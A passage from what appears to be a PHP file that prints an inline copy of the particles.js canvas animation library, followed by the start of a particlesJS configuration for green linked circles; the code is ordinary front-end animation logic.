  2805. pJS.canvas.ctx.lineWidth = pJS.particles.shape.stroke.width;
  2806. pJS.canvas.ctx.stroke()
  2807. }
  2808. pJS.canvas.ctx.fill()
  2809. };
  2810. pJS.fn.particlesCreate = function() {
  2811. for (var i = 0; i < pJS.particles.number.value; i++) {
  2812. pJS.particles.array.push(new pJS.fn.particle(pJS.particles.color, pJS.particles.opacity.value))
  2813. }
  2814. };
  2815. pJS.fn.particlesUpdate = function() {
  2816. for (var i = 0; i < pJS.particles.array.length; i++) {
  2817. var p = pJS.particles.array[i];
  2818. if (pJS.particles.move.enable) {
  2819. var ms = pJS.particles.move.speed / 2;
  2820. p.x += p.vx * ms;
  2821. p.y += p.vy * ms
  2822. }
  2823. if (pJS.particles.opacity.anim.enable) {
  2824. if (p.opacity_status == !0) {
  2825. if (p.opacity >= pJS.particles.opacity.value) p.opacity_status = !1;
  2826. p.opacity += p.vo
  2827. } else {
  2828. if (p.opacity <= pJS.particles.opacity.anim.opacity_min) p.opacity_status = !0;
  2829. p.opacity -= p.vo
  2830. }
  2831. if (p.opacity < 0) p.opacity = 0
  2832. }
  2833. if (pJS.particles.size.anim.enable) {
  2834. if (p.size_status == !0) {
  2835. if (p.radius >= pJS.particles.size.value) p.size_status = !1;
  2836. p.radius += p.vs
  2837. } else {
  2838. if (p.radius <= pJS.particles.size.anim.size_min) p.size_status = !0;
  2839. p.radius -= p.vs
  2840. }
  2841. if (p.radius < 0) p.radius = 0
  2842. }
  2843. if (pJS.particles.move.out_mode == \'bounce\') {
  2844. var new_pos = {
  2845. x_left: p.radius,
  2846. x_right: pJS.canvas.w,
  2847. y_top: p.radius,
  2848. y_bottom: pJS.canvas.h
  2849. }
  2850. } else {
  2851. var new_pos = {
  2852. x_left: -p.radius,
  2853. x_right: pJS.canvas.w + p.radius,
  2854. y_top: -p.radius,
  2855. y_bottom: pJS.canvas.h + p.radius
  2856. }
  2857. }
  2858. if (p.x - p.radius > pJS.canvas.w) {
  2859. p.x = new_pos.x_left;
  2860. p.y = Math.random() * pJS.canvas.h
  2861. } else if (p.x + p.radius < 0) {
  2862. p.x = new_pos.x_right;
  2863. p.y = Math.random() * pJS.canvas.h
  2864. }
  2865. if (p.y - p.radius > pJS.canvas.h) {
  2866. p.y = new_pos.y_top;
  2867. p.x = Math.random() * pJS.canvas.w
  2868. } else if (p.y + p.radius < 0) {
  2869. p.y = new_pos.y_bottom;
  2870. p.x = Math.random() * pJS.canvas.w
  2871. }
  2872. switch (pJS.particles.move.out_mode) {
  2873. case \'bounce\':
  2874. if (p.x + p.radius > pJS.canvas.w) p.vx = -p.vx;
  2875. else if (p.x - p.radius < 0) p.vx = -p.vx;
  2876. if (p.y + p.radius > pJS.canvas.h) p.vy = -p.vy;
  2877. else if (p.y - p.radius < 0) p.vy = -p.vy;
  2878. break
  2879. }
  2880. if (isInArray(\'grab\', pJS.interactivity.events.onhover.mode)) {
  2881. pJS.fn.modes.grabParticle(p)
  2882. }
  2883. if (isInArray(\'bubble\', pJS.interactivity.events.onhover.mode) || isInArray(\'bubble\', pJS.interactivity.events.onclick.mode)) {
  2884. pJS.fn.modes.bubbleParticle(p)
  2885. }
  2886. if (isInArray(\'repulse\', pJS.interactivity.events.onhover.mode) || isInArray(\'repulse\', pJS.interactivity.events.onclick.mode)) {
  2887. pJS.fn.modes.repulseParticle(p)
  2888. }
  2889. if (pJS.particles.line_linked.enable || pJS.particles.move.attract.enable) {
  2890. for (var j = i + 1; j < pJS.particles.array.length; j++) {
  2891. var p2 = pJS.particles.array[j];
  2892. if (pJS.particles.line_linked.enable) {
  2893. pJS.fn.interact.linkParticles(p, p2)
  2894. }
  2895. if (pJS.particles.move.attract.enable) {
  2896. pJS.fn.interact.attractParticles(p, p2)
  2897. }
  2898. if (pJS.particles.move.bounce) {
  2899. pJS.fn.interact.bounceParticles(p, p2)
  2900. }
  2901. }
  2902. }
  2903. }
  2904. };
  2905. pJS.fn.particlesDraw = function() {
  2906. pJS.canvas.ctx.clearRect(0, 0, pJS.canvas.w, pJS.canvas.h);
  2907. pJS.fn.particlesUpdate();
  2908. for (var i = 0; i < pJS.particles.array.length; i++) {
  2909. var p = pJS.particles.array[i];
  2910. p.draw()
  2911. }
  2912. };
  2913. pJS.fn.particlesEmpty = function() {
  2914. pJS.particles.array = []
  2915. };
  2916. pJS.fn.particlesRefresh = function() {
  2917. cancelRequestAnimFrame(pJS.fn.checkAnimFrame);
  2918. cancelRequestAnimFrame(pJS.fn.drawAnimFrame);
  2919. pJS.tmp.source_svg = undefined;
  2920. pJS.tmp.img_obj = undefined;
  2921. pJS.tmp.count_svg = 0;
  2922. pJS.fn.particlesEmpty();
  2923. pJS.fn.canvasClear();
  2924. pJS.fn.vendors.start()
  2925. };
  2926. pJS.fn.interact.linkParticles = function(p1, p2) {
  2927. var dx = p1.x - p2.x,
  2928. dy = p1.y - p2.y,
  2929. dist = Math.sqrt(dx * dx + dy * dy);
  2930. if (dist <= pJS.particles.line_linked.distance) {
  2931. var opacity_line = pJS.particles.line_linked.opacity - (dist / (1 / pJS.particles.line_linked.opacity)) / pJS.particles.line_linked.distance;
  2932. if (opacity_line > 0) {
  2933. var color_line = pJS.particles.line_linked.color_rgb_line;
  2934. pJS.canvas.ctx.strokeStyle = \'rgba(\' + color_line.r + \',\' + color_line.g + \',\' + color_line.b + \',\' + opacity_line + \')\';
  2935. pJS.canvas.ctx.lineWidth = pJS.particles.line_linked.width;
  2936. pJS.canvas.ctx.beginPath();
  2937. pJS.canvas.ctx.moveTo(p1.x, p1.y);
  2938. pJS.canvas.ctx.lineTo(p2.x, p2.y);
  2939. pJS.canvas.ctx.stroke();
  2940. pJS.canvas.ctx.closePath()
  2941. }
  2942. }
  2943. };
  2944. pJS.fn.interact.attractParticles = function(p1, p2) {
  2945. var dx = p1.x - p2.x,
  2946. dy = p1.y - p2.y,
  2947. dist = Math.sqrt(dx * dx + dy * dy);
  2948. if (dist <= pJS.particles.line_linked.distance) {
  2949. var ax = dx / (pJS.particles.move.attract.rotateX * 1000),
  2950. ay = dy / (pJS.particles.move.attract.rotateY * 1000);
  2951. p1.vx -= ax;
  2952. p1.vy -= ay;
  2953. p2.vx += ax;
  2954. p2.vy += ay
  2955. }
  2956. }
  2957. pJS.fn.interact.bounceParticles = function(p1, p2) {
  2958. var dx = p1.x - p2.x,
  2959. dy = p1.y - p2.y,
  2960. dist = Math.sqrt(dx * dx + dy * dy),
  2961. dist_p = p1.radius + p2.radius;
  2962. if (dist <= dist_p) {
  2963. p1.vx = -p1.vx;
  2964. p1.vy = -p1.vy;
  2965. p2.vx = -p2.vx;
  2966. p2.vy = -p2.vy
  2967. }
  2968. }
  2969. pJS.fn.modes.pushParticles = function(nb, pos) {
  2970. pJS.tmp.pushing = !0;
  2971. for (var i = 0; i < nb; i++) {
  2972. pJS.particles.array.push(new pJS.fn.particle(pJS.particles.color, pJS.particles.opacity.value, {
  2973. \'x\': pos ? pos.pos_x : Math.random() * pJS.canvas.w,
  2974. \'y\': pos ? pos.pos_y : Math.random() * pJS.canvas.h
  2975. }))
  2976. if (i == nb - 1) {
  2977. if (!pJS.particles.move.enable) {
  2978. pJS.fn.particlesDraw()
  2979. }
  2980. pJS.tmp.pushing = !1
  2981. }
  2982. }
  2983. };
  2984. pJS.fn.modes.removeParticles = function(nb) {
  2985. pJS.particles.array.splice(0, nb);
  2986. if (!pJS.particles.move.enable) {
  2987. pJS.fn.particlesDraw()
  2988. }
  2989. };
  2990. pJS.fn.modes.bubbleParticle = function(p) {
  2991. if (pJS.interactivity.events.onhover.enable && isInArray(\'bubble\', pJS.interactivity.events.onhover.mode)) {
  2992. var dx_mouse = p.x - pJS.interactivity.mouse.pos_x,
  2993. dy_mouse = p.y - pJS.interactivity.mouse.pos_y,
  2994. dist_mouse = Math.sqrt(dx_mouse * dx_mouse + dy_mouse * dy_mouse),
  2995. ratio = 1 - dist_mouse / pJS.interactivity.modes.bubble.distance;
  2996.  
  2997. function init() {
  2998. p.opacity_bubble = p.opacity;
  2999. p.radius_bubble = p.radius
  3000. }
  3001. if (dist_mouse <= pJS.interactivity.modes.bubble.distance) {
  3002. if (ratio >= 0 && pJS.interactivity.status == \'mousemove\') {
  3003. if (pJS.interactivity.modes.bubble.size != pJS.particles.size.value) {
  3004. if (pJS.interactivity.modes.bubble.size > pJS.particles.size.value) {
  3005. var size = p.radius + (pJS.interactivity.modes.bubble.size * ratio);
  3006. if (size >= 0) {
  3007. p.radius_bubble = size
  3008. }
  3009. } else {
  3010. var dif = p.radius - pJS.interactivity.modes.bubble.size,
  3011. size = p.radius - (dif * ratio);
  3012. if (size > 0) {
  3013. p.radius_bubble = size
  3014. } else {
  3015. p.radius_bubble = 0
  3016. }
  3017. }
  3018. }
  3019. if (pJS.interactivity.modes.bubble.opacity != pJS.particles.opacity.value) {
  3020. if (pJS.interactivity.modes.bubble.opacity > pJS.particles.opacity.value) {
  3021. var opacity = pJS.interactivity.modes.bubble.opacity * ratio;
  3022. if (opacity > p.opacity && opacity <= pJS.interactivity.modes.bubble.opacity) {
  3023. p.opacity_bubble = opacity
  3024. }
  3025. } else {
  3026. var opacity = p.opacity - (pJS.particles.opacity.value - pJS.interactivity.modes.bubble.opacity) * ratio;
  3027. if (opacity < p.opacity && opacity >= pJS.interactivity.modes.bubble.opacity) {
  3028. p.opacity_bubble = opacity
  3029. }
  3030. }
  3031. }
  3032. }
  3033. } else {
  3034. init()
  3035. }
  3036. if (pJS.interactivity.status == \'mouseleave\') {
  3037. init()
  3038. }
  3039. } else if (pJS.interactivity.events.onclick.enable && isInArray(\'bubble\', pJS.interactivity.events.onclick.mode)) {
  3040. if (pJS.tmp.bubble_clicking) {
  3041. var dx_mouse = p.x - pJS.interactivity.mouse.click_pos_x,
  3042. dy_mouse = p.y - pJS.interactivity.mouse.click_pos_y,
  3043. dist_mouse = Math.sqrt(dx_mouse * dx_mouse + dy_mouse * dy_mouse),
  3044. time_spent = (new Date().getTime() - pJS.interactivity.mouse.click_time) / 1000;
  3045. if (time_spent > pJS.interactivity.modes.bubble.duration) {
  3046. pJS.tmp.bubble_duration_end = !0
  3047. }
  3048. if (time_spent > pJS.interactivity.modes.bubble.duration * 2) {
  3049. pJS.tmp.bubble_clicking = !1;
  3050. pJS.tmp.bubble_duration_end = !1
  3051. }
  3052. }
  3053.  
  3054. function process(bubble_param, particles_param, p_obj_bubble, p_obj, id) {
  3055. if (bubble_param != particles_param) {
  3056. if (!pJS.tmp.bubble_duration_end) {
  3057. if (dist_mouse <= pJS.interactivity.modes.bubble.distance) {
  3058. if (p_obj_bubble != undefined) var obj = p_obj_bubble;
  3059. else var obj = p_obj;
  3060. if (obj != bubble_param) {
  3061. var value = p_obj - (time_spent * (p_obj - bubble_param) / pJS.interactivity.modes.bubble.duration);
  3062. if (id == \'size\') p.radius_bubble = value;
  3063. if (id == \'opacity\') p.opacity_bubble = value
  3064. }
  3065. } else {
  3066. if (id == \'size\') p.radius_bubble = undefined;
  3067. if (id == \'opacity\') p.opacity_bubble = undefined
  3068. }
  3069. } else {
  3070. if (p_obj_bubble != undefined) {
  3071. var value_tmp = p_obj - (time_spent * (p_obj - bubble_param) / pJS.interactivity.modes.bubble.duration),
  3072. dif = bubble_param - value_tmp;
  3073. value = bubble_param + dif;
  3074. if (id == \'size\') p.radius_bubble = value;
  3075. if (id == \'opacity\') p.opacity_bubble = value
  3076. }
  3077. }
  3078. }
  3079. }
  3080. if (pJS.tmp.bubble_clicking) {
  3081. process(pJS.interactivity.modes.bubble.size, pJS.particles.size.value, p.radius_bubble, p.radius, \'size\');
  3082. process(pJS.interactivity.modes.bubble.opacity, pJS.particles.opacity.value, p.opacity_bubble, p.opacity, \'opacity\')
  3083. }
  3084. }
  3085. };
  3086. pJS.fn.modes.repulseParticle = function(p) {
  3087. if (pJS.interactivity.events.onhover.enable && isInArray(\'repulse\', pJS.interactivity.events.onhover.mode) && pJS.interactivity.status == \'mousemove\') {
  3088. var dx_mouse = p.x - pJS.interactivity.mouse.pos_x,
  3089. dy_mouse = p.y - pJS.interactivity.mouse.pos_y,
  3090. dist_mouse = Math.sqrt(dx_mouse * dx_mouse + dy_mouse * dy_mouse);
  3091. var normVec = {
  3092. x: dx_mouse / dist_mouse,
  3093. y: dy_mouse / dist_mouse
  3094. },
  3095. repulseRadius = pJS.interactivity.modes.repulse.distance,
  3096. velocity = 100,
  3097. repulseFactor = clamp((1 / repulseRadius) * (-1 * Math.pow(dist_mouse / repulseRadius, 2) + 1) * repulseRadius * velocity, 0, 50);
  3098. var pos = {
  3099. x: p.x + normVec.x * repulseFactor,
  3100. y: p.y + normVec.y * repulseFactor
  3101. }
  3102. if (pJS.particles.move.out_mode == \'bounce\') {
  3103. if (pos.x - p.radius > 0 && pos.x + p.radius < pJS.canvas.w) p.x = pos.x;
  3104. if (pos.y - p.radius > 0 && pos.y + p.radius < pJS.canvas.h) p.y = pos.y
  3105. } else {
  3106. p.x = pos.x;
  3107. p.y = pos.y
  3108. }
  3109. } else if (pJS.interactivity.events.onclick.enable && isInArray(\'repulse\', pJS.interactivity.events.onclick.mode)) {
  3110. if (!pJS.tmp.repulse_finish) {
  3111. pJS.tmp.repulse_count++;
  3112. if (pJS.tmp.repulse_count == pJS.particles.array.length) {
  3113. pJS.tmp.repulse_finish = !0
  3114. }
  3115. }
  3116. if (pJS.tmp.repulse_clicking) {
  3117. var repulseRadius = Math.pow(pJS.interactivity.modes.repulse.distance / 6, 3);
  3118. var dx = pJS.interactivity.mouse.click_pos_x - p.x,
  3119. dy = pJS.interactivity.mouse.click_pos_y - p.y,
  3120. d = dx * dx + dy * dy;
  3121. var force = -repulseRadius / d * 1;
  3122.  
  3123. function process() {
  3124. var f = Math.atan2(dy, dx);
  3125. p.vx = force * Math.cos(f);
  3126. p.vy = force * Math.sin(f);
  3127. if (pJS.particles.move.out_mode == \'bounce\') {
  3128. var pos = {
  3129. x: p.x + p.vx,
  3130. y: p.y + p.vy
  3131. }
  3132. if (pos.x + p.radius > pJS.canvas.w) p.vx = -p.vx;
  3133. else if (pos.x - p.radius < 0) p.vx = -p.vx;
  3134. if (pos.y + p.radius > pJS.canvas.h) p.vy = -p.vy;
  3135. else if (pos.y - p.radius < 0) p.vy = -p.vy
  3136. }
  3137. }
  3138. if (d <= repulseRadius) {
  3139. process()
  3140. }
  3141. } else {
  3142. if (pJS.tmp.repulse_clicking == !1) {
  3143. p.vx = p.vx_i;
  3144. p.vy = p.vy_i
  3145. }
  3146. }
  3147. }
  3148. }
  3149. pJS.fn.modes.grabParticle = function(p) {
  3150. if (pJS.interactivity.events.onhover.enable && pJS.interactivity.status == \'mousemove\') {
  3151. var dx_mouse = p.x - pJS.interactivity.mouse.pos_x,
  3152. dy_mouse = p.y - pJS.interactivity.mouse.pos_y,
  3153. dist_mouse = Math.sqrt(dx_mouse * dx_mouse + dy_mouse * dy_mouse);
  3154. if (dist_mouse <= pJS.interactivity.modes.grab.distance) {
  3155. var opacity_line = pJS.interactivity.modes.grab.line_linked.opacity - (dist_mouse / (1 / pJS.interactivity.modes.grab.line_linked.opacity)) / pJS.interactivity.modes.grab.distance;
  3156. if (opacity_line > 0) {
  3157. var color_line = pJS.particles.line_linked.color_rgb_line;
  3158. pJS.canvas.ctx.strokeStyle = \'rgba(\' + color_line.r + \',\' + color_line.g + \',\' + color_line.b + \',\' + opacity_line + \')\';
  3159. pJS.canvas.ctx.lineWidth = pJS.particles.line_linked.width;
  3160. pJS.canvas.ctx.beginPath();
  3161. pJS.canvas.ctx.moveTo(p.x, p.y);
  3162. pJS.canvas.ctx.lineTo(pJS.interactivity.mouse.pos_x, pJS.interactivity.mouse.pos_y);
  3163. pJS.canvas.ctx.stroke();
  3164. pJS.canvas.ctx.closePath()
  3165. }
  3166. }
  3167. }
  3168. };
  3169. pJS.fn.vendors.eventsListeners = function() {
  3170. if (pJS.interactivity.detect_on == \'window\') {
  3171. pJS.interactivity.el = window
  3172. } else {
  3173. pJS.interactivity.el = pJS.canvas.el
  3174. }
  3175. if (pJS.interactivity.events.onhover.enable || pJS.interactivity.events.onclick.enable) {
  3176. pJS.interactivity.el.addEventListener(\'mousemove\', function(e) {
  3177. if (pJS.interactivity.el == window) {
  3178. var pos_x = e.clientX,
  3179. pos_y = e.clientY
  3180. } else {
  3181. var pos_x = e.offsetX || e.clientX,
  3182. pos_y = e.offsetY || e.clientY
  3183. }
  3184. pJS.interactivity.mouse.pos_x = pos_x;
  3185. pJS.interactivity.mouse.pos_y = pos_y;
  3186. if (pJS.tmp.retina) {
  3187. pJS.interactivity.mouse.pos_x *= pJS.canvas.pxratio;
  3188. pJS.interactivity.mouse.pos_y *= pJS.canvas.pxratio
  3189. }
  3190. pJS.interactivity.status = \'mousemove\'
  3191. });
  3192. pJS.interactivity.el.addEventListener(\'mouseleave\', function(e) {
  3193. pJS.interactivity.mouse.pos_x = null;
  3194. pJS.interactivity.mouse.pos_y = null;
  3195. pJS.interactivity.status = \'mouseleave\'
  3196. })
  3197. }
  3198. if (pJS.interactivity.events.onclick.enable) {
  3199. pJS.interactivity.el.addEventListener(\'click\', function() {
  3200. pJS.interactivity.mouse.click_pos_x = pJS.interactivity.mouse.pos_x;
  3201. pJS.interactivity.mouse.click_pos_y = pJS.interactivity.mouse.pos_y;
  3202. pJS.interactivity.mouse.click_time = new Date().getTime();
  3203. if (pJS.interactivity.events.onclick.enable) {
  3204. switch (pJS.interactivity.events.onclick.mode) {
  3205. case \'push\':
  3206. if (pJS.particles.move.enable) {
  3207. pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb, pJS.interactivity.mouse)
  3208. } else {
  3209. if (pJS.interactivity.modes.push.particles_nb == 1) {
  3210. pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb, pJS.interactivity.mouse)
  3211. } else if (pJS.interactivity.modes.push.particles_nb > 1) {
  3212. pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb)
  3213. }
  3214. }
  3215. break;
  3216. case \'remove\':
  3217. pJS.fn.modes.removeParticles(pJS.interactivity.modes.remove.particles_nb);
  3218. break;
  3219. case \'bubble\':
  3220. pJS.tmp.bubble_clicking = !0;
  3221. break;
  3222. case \'repulse\':
  3223. pJS.tmp.repulse_clicking = !0;
  3224. pJS.tmp.repulse_count = 0;
  3225. pJS.tmp.repulse_finish = !1;
  3226. setTimeout(function() {
  3227. pJS.tmp.repulse_clicking = !1
  3228. }, pJS.interactivity.modes.repulse.duration * 1000)
  3229. break
  3230. }
  3231. }
  3232. })
  3233. }
  3234. };
  3235. pJS.fn.vendors.densityAutoParticles = function() {
  3236. if (pJS.particles.number.density.enable) {
  3237. var area = pJS.canvas.el.width * pJS.canvas.el.height / 1000;
  3238. if (pJS.tmp.retina) {
  3239. area = area / (pJS.canvas.pxratio * 2)
  3240. }
  3241. var nb_particles = area * pJS.particles.number.value / pJS.particles.number.density.value_area;
  3242. var missing_particles = pJS.particles.array.length - nb_particles;
  3243. if (missing_particles < 0) pJS.fn.modes.pushParticles(Math.abs(missing_particles));
  3244. else pJS.fn.modes.removeParticles(missing_particles)
  3245. }
  3246. };
  3247. pJS.fn.vendors.checkOverlap = function(p1, position) {
  3248. for (var i = 0; i < pJS.particles.array.length; i++) {
  3249. var p2 = pJS.particles.array[i];
  3250. var dx = p1.x - p2.x,
  3251. dy = p1.y - p2.y,
  3252. dist = Math.sqrt(dx * dx + dy * dy);
  3253. if (dist <= p1.radius + p2.radius) {
  3254. p1.x = position ? position.x : Math.random() * pJS.canvas.w;
  3255. p1.y = position ? position.y : Math.random() * pJS.canvas.h;
  3256. pJS.fn.vendors.checkOverlap(p1)
  3257. }
  3258. }
  3259. };
  3260. pJS.fn.vendors.createSvgImg = function(p) {
  3261. var svgXml = pJS.tmp.source_svg,
  3262. rgbHex = /#([0-9A-F]{3,6})/gi,
  3263. coloredSvgXml = svgXml.replace(rgbHex, function(m, r, g, b) {
  3264. if (p.color.rgb) {
  3265. var color_value = \'rgba(\' + p.color.rgb.r + \',\' + p.color.rgb.g + \',\' + p.color.rgb.b + \',\' + p.opacity + \')\'
  3266. } else {
  3267. var color_value = \'hsla(\' + p.color.hsl.h + \',\' + p.color.hsl.s + \'%,\' + p.color.hsl.l + \'%,\' + p.opacity + \')\'
  3268. }
  3269. return color_value
  3270. });
  3271. var svg = new Blob([coloredSvgXml], {
  3272. type: \'image/svg+xml;charset=utf-8\'
  3273. }),
  3274. DOMURL = window.URL || window.webkitURL || window,
  3275. url = DOMURL.createObjectURL(svg);
  3276. var img = new Image();
  3277. img.addEventListener(\'load\', function() {
  3278. p.img.obj = img;
  3279. p.img.loaded = !0;
  3280. DOMURL.revokeObjectURL(url);
  3281. pJS.tmp.count_svg++
  3282. });
  3283. img.src = url
  3284. };
  3285. pJS.fn.vendors.destroypJS = function() {
  3286. cancelAnimationFrame(pJS.fn.drawAnimFrame);
  3287. canvas_el.remove();
  3288. pJSDom = null
  3289. };
  3290. pJS.fn.vendors.drawShape = function(c, startX, startY, sideLength, sideCountNumerator, sideCountDenominator) {
  3291. var sideCount = sideCountNumerator * sideCountDenominator;
  3292. var decimalSides = sideCountNumerator / sideCountDenominator;
  3293. var interiorAngleDegrees = (180 * (decimalSides - 2)) / decimalSides;
  3294. var interiorAngle = Math.PI - Math.PI * interiorAngleDegrees / 180;
  3295. c.save();
  3296. c.beginPath();
  3297. c.translate(startX, startY);
  3298. c.moveTo(0, 0);
  3299. for (var i = 0; i < sideCount; i++) {
  3300. c.lineTo(sideLength, 0);
  3301. c.translate(sideLength, 0);
  3302. c.rotate(interiorAngle)
  3303. }
  3304. c.fill();
  3305. c.restore()
  3306. };
  3307. pJS.fn.vendors.exportImg = function() {
  3308. window.open(pJS.canvas.el.toDataURL(\'image/png\'), \'_blank\')
  3309. };
  3310. pJS.fn.vendors.loadImg = function(type) {
  3311. pJS.tmp.img_error = undefined;
  3312. if (pJS.particles.shape.image.src != \'\') {
  3313. if (type == \'svg\') {
  3314. var xhr = new XMLHttpRequest();
  3315. xhr.open(\'GET\', pJS.particles.shape.image.src);
  3316. xhr.onreadystatechange = function(data) {
  3317. if (xhr.readyState == 4) {
  3318. if (xhr.status == 200) {
  3319. pJS.tmp.source_svg = data.currentTarget.response;
  3320. pJS.fn.vendors.checkBeforeDraw()
  3321. } else {
  3322. console.log(\'Error pJS - Image not found\');
  3323. pJS.tmp.img_error = !0
  3324. }
  3325. }
  3326. }
  3327. xhr.send()
  3328. } else {
  3329. var img = new Image();
  3330. img.addEventListener(\'load\', function() {
  3331. pJS.tmp.img_obj = img;
  3332. pJS.fn.vendors.checkBeforeDraw()
  3333. });
  3334. img.src = pJS.particles.shape.image.src
  3335. }
  3336. } else {
  3337. console.log(\'Error pJS - No image.src\');
  3338. pJS.tmp.img_error = !0
  3339. }
  3340. };
  3341. pJS.fn.vendors.draw = function() {
  3342. if (pJS.particles.shape.type == \'image\') {
  3343. if (pJS.tmp.img_type == \'svg\') {
  3344. if (pJS.tmp.count_svg >= pJS.particles.number.value) {
  3345. pJS.fn.particlesDraw();
  3346. if (!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame);
  3347. else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)
  3348. } else {
  3349. if (!pJS.tmp.img_error) pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)
  3350. }
  3351. } else {
  3352. if (pJS.tmp.img_obj != undefined) {
  3353. pJS.fn.particlesDraw();
  3354. if (!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame);
  3355. else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)
  3356. } else {
  3357. if (!pJS.tmp.img_error) pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)
  3358. }
  3359. }
  3360. } else {
  3361. pJS.fn.particlesDraw();
  3362. if (!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame);
  3363. else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw)
  3364. }
  3365. };
  3366. pJS.fn.vendors.checkBeforeDraw = function() {
  3367. if (pJS.particles.shape.type == \'image\') {
  3368. if (pJS.tmp.img_type == \'svg\' && pJS.tmp.source_svg == undefined) {
  3369. pJS.tmp.checkAnimFrame = requestAnimFrame(check)
  3370. } else {
  3371. cancelRequestAnimFrame(pJS.tmp.checkAnimFrame);
  3372. if (!pJS.tmp.img_error) {
  3373. pJS.fn.vendors.init();
  3374. pJS.fn.vendors.draw()
  3375. }
  3376. }
  3377. } else {
  3378. pJS.fn.vendors.init();
  3379. pJS.fn.vendors.draw()
  3380. }
  3381. };
  3382. pJS.fn.vendors.init = function() {
  3383. pJS.fn.retinaInit();
  3384. pJS.fn.canvasInit();
  3385. pJS.fn.canvasSize();
  3386. pJS.fn.canvasPaint();
  3387. pJS.fn.particlesCreate();
  3388. pJS.fn.vendors.densityAutoParticles();
  3389. pJS.particles.line_linked.color_rgb_line = hexToRgb(pJS.particles.line_linked.color)
  3390. };
  3391. pJS.fn.vendors.start = function() {
  3392. if (isInArray(\'image\', pJS.particles.shape.type)) {
  3393. pJS.tmp.img_type = pJS.particles.shape.image.src.substr(pJS.particles.shape.image.src.length - 3);
  3394. pJS.fn.vendors.loadImg(pJS.tmp.img_type)
  3395. } else {
  3396. pJS.fn.vendors.checkBeforeDraw()
  3397. }
  3398. };
  3399. pJS.fn.vendors.eventsListeners();
  3400. pJS.fn.vendors.start()
  3401. };
  3402. Object.deepExtend = function(destination, source) {
  3403. for (var property in source) {
  3404. if (source[property] && source[property].constructor && source[property].constructor === Object) {
  3405. destination[property] = destination[property] || {};
  3406. arguments.callee(destination[property], source[property])
  3407. } else {
  3408. destination[property] = source[property]
  3409. }
  3410. }
  3411. return destination
  3412. };
  3413. window.requestAnimFrame = (function() {
  3414. return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || window.oRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) {
  3415. window.setTimeout(callback, 1000 / 60)
  3416. }
  3417. })();
  3418. window.cancelRequestAnimFrame = (function() {
  3419. return window.cancelAnimationFrame || window.webkitCancelRequestAnimationFrame || window.mozCancelRequestAnimationFrame || window.oCancelRequestAnimationFrame || window.msCancelRequestAnimationFrame || clearTimeout
  3420. })();
  3421.  
  3422. function hexToRgb(hex) {
  3423. var shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i;
  3424. hex = hex.replace(shorthandRegex, function(m, r, g, b) {
  3425. return r + r + g + g + b + b
  3426. });
  3427. var result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex);
  3428. return result ? {
  3429. r: parseInt(result[1], 16),
  3430. g: parseInt(result[2], 16),
  3431. b: parseInt(result[3], 16)
  3432. } : null
  3433. };
  3434.  
  3435. function clamp(number, min, max) {
  3436. return Math.min(Math.max(number, min), max)
  3437. };
  3438.  
  3439. function isInArray(value, array) {
  3440. return array.indexOf(value) > -1
  3441. }
  3442. window.pJSDom = [];
  3443. window.particlesJS = function(tag_id, params) {
  3444. if (typeof(tag_id) != \'string\') {
  3445. params = tag_id;
  3446. tag_id = \'particles-js\'
  3447. }
  3448. if (!tag_id) {
  3449. tag_id = \'particles-js\'
  3450. }
  3451. var pJS_tag = document.getElementById(tag_id),
  3452. pJS_canvas_class = \'particles-js-canvas-el\',
  3453. exist_canvas = pJS_tag.getElementsByClassName(pJS_canvas_class);
  3454. if (exist_canvas.length) {
  3455. while (exist_canvas.length > 0) {
  3456. pJS_tag.removeChild(exist_canvas[0])
  3457. }
  3458. }
  3459. var canvas_el = document.createElement(\'canvas\');
  3460. canvas_el.className = pJS_canvas_class;
  3461. canvas_el.style.width = "100%";
  3462. canvas_el.style.height = "100%";
  3463. var canvas = document.getElementById(tag_id).appendChild(canvas_el);
  3464. if (canvas != null) {
  3465. pJSDom.push(new pJS(tag_id, params))
  3466. }
  3467. };
  3468. window.particlesJS.load = function(tag_id, path_config_json, callback) {
  3469. var xhr = new XMLHttpRequest();
  3470. xhr.open(\'GET\', path_config_json);
  3471. xhr.onreadystatechange = function(data) {
  3472. if (xhr.readyState == 4) {
  3473. if (xhr.status == 200) {
  3474. var params = JSON.parse(data.currentTarget.response);
  3475. window.particlesJS(tag_id, params);
  3476. if (callback) callback()
  3477. } else {
  3478. console.log(\'Error pJS - XMLHttpRequest status: \' + xhr.status);
  3479. console.log(\'Error pJS - File config not found\')
  3480. }
  3481. }
  3482. };
  3483. xhr.send()
  3484. } </script>';
  3485.  
  3486. print '<script type="text/javascript">
  3487. particlesJS(\'particles-js\',
  3488.  
  3489. {
  3490. "particles": {
  3491. "number": {
  3492. "value": 80,
  3493. "density": {
  3494. "enable": true,
  3495. "value_area": 800
  3496. }
  3497. },
  3498. "color": {
  3499. "value": "#1D9D73"
  3500. },
  3501. "shape": {
  3502. "type": "circle",
  3503. "stroke": {
  3504. "width": 0,
  3505. "color": "#000000"
  3506. },
  3507. "polygon": {
  3508. "nb_sides": 5
  3509. },
  3510. "image": {
  3511. "src": "img/github.svg",
  3512. "width": 100,
  3513. "height": 100
  3514. }
  3515. },
  3516. "opacity": {
  3517. "value": 0.5,
  3518. "random": false,
  3519. "anim": {
  3520. "enable": false,
  3521. "speed": 1,
  3522. "opacity_min": 0.1,
  3523. "sync": false
  3524. }
  3525. },
  3526. "size": {
  3527. "value": 5,
  3528. "random": true,
  3529. "anim": {
  3530. "enable": false,
  3531. "speed": 40,
  3532. "size_min": 0.1,
  3533. "sync": false
  3534. }
  3535. },
  3536. "line_linked": {
  3537. "enable": true,
